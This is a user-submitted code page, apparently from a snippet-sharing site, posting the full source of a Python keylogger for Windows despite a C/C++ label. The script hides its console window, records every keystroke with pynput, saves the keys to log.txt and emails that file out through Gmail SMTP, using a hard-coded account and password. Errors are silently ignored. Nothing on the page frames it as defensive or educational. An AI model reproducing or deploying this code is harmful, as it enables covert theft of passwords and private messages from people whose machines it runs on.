Ask Question

Name:
Title:
Your Question:

Answer Question

Name:
Your Answer:
User Submitted Source Code!


Description:
  o+
Language: C/C++
Code:
#!/usr/bin/env python
#_*_ coding: utf8 _*_
import pynput.keyboard
import smtplib
import time 
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
import win32console
import win32gui

ventana=win32console.GetConsoleWindow()
win32gui.ShowWindow(ventana,0)    


lista_tecla = []
 

def enviar_datos():
    #Iniciamos los parámetros del script
    remitente = '[email protected]'
    destinatarios = ['[email protected]']
    asunto = 'keylogger kali-gaus'
    cuerpo = 'Prueva de envio desde python'
    nombre_adjunto = 'log.txt'
    ruta_adjunto = 'log.txt'
    mensaje = MIMEMultipart()      # Creamos el objeto mensaje
    mensaje['From'] = remitente    # Establecemos los atributos del mensaje
    mensaje['To'] = ", ".join(destinatarios)
    mensaje['Subject'] = asunto
    mensaje.attach(MIMEText(cuerpo, 'plain')) # Agregamos el cuerpo del mensaje como objeto MIME de tipo texto
    archivo_adjunto = open(ruta_adjunto, 'r') # Abrimos el archivo que vamos a adjuntar
    adjunto_MIME = MIMEBase('application', 'octet-stream') # Creamos un objeto MIME base
    adjunto_MIME.set_payload((archivo_adjunto).read()) # Y le cargamos el archivo adjunto
    encoders.encode_base64(adjunto_MIME) # Codificamos el objeto en BASE64
    adjunto_MIME.add_header('Content-Disposition', "attachment; filename= %s" % nombre_adjunto)
    mensaje.attach(adjunto_MIME)    # Y finalmente lo agregamos al mensaje 
 
    
    try:
        sesion_smtp = smtplib.SMTP('smtp.gmail.com', 587) # Creamos la conexión con el servidor
        sesion_smtp.starttls() # Ciframos la conexión
        sesion_smtp.login('[email protected]','Candelabro') # Iniciamos sesión en el servidor
        texto = mensaje.as_string()  # Convertimos el objeto mensaje a texto
        sesion_smtp.sendmail(remitente, destinatarios, texto) # Enviamos el mensaje
        sesion_smtp.quit()  # Cerramos la conexión 
    except:
        pass           
                
    
def presiona(key):
    key1 = convertir(key)
    if key1 == "Key.esc":
        pass
    elif key1 == "Key.space":                 # tecla espaciadora   
        lista_tecla.append(" ")               # espacio en blanco
    elif key1 == "Key.enter":                 # tecla enter
         lista_tecla.append('n')
         imprimir()             # salto de linea
    elif key1 == "Key.backspace":             # Tecla retroceso
        pass                                  # no hace nada
    elif key1 == "Key.tab":                   # tecla tabuladora
        print(key)
        pass                                  # no hace nada
    elif key1 == "Key.shift":                 # tecla shift
        pass 
    elif key1 == "Key.caps_lock":             # tecla bloqueo mayuscula 
        pass               
    
    else:
        lista_tecla.append(key1)              # escribe letras, numeros o signos especiales
        
    
    
def imprimir():
    log_file = open('log.txt', 'w+')
    teclas =''.join(lista_tecla)
    log_file.write(teclas)                   # escribimos en el archivo log.txt
    log_file.write('n')                     # salto de linea
    log_file.close()                     
    time.sleep(3)
    enviar_datos() 



def convertir(key):
    if isinstance(key, pynput.keyboard.KeyCode):
        return key.char
    else:
        return str(key)
  

with pynput.keyboard.Listener(on_press=presiona) as listen:
    listen.join()
    
   
   

          
Comments: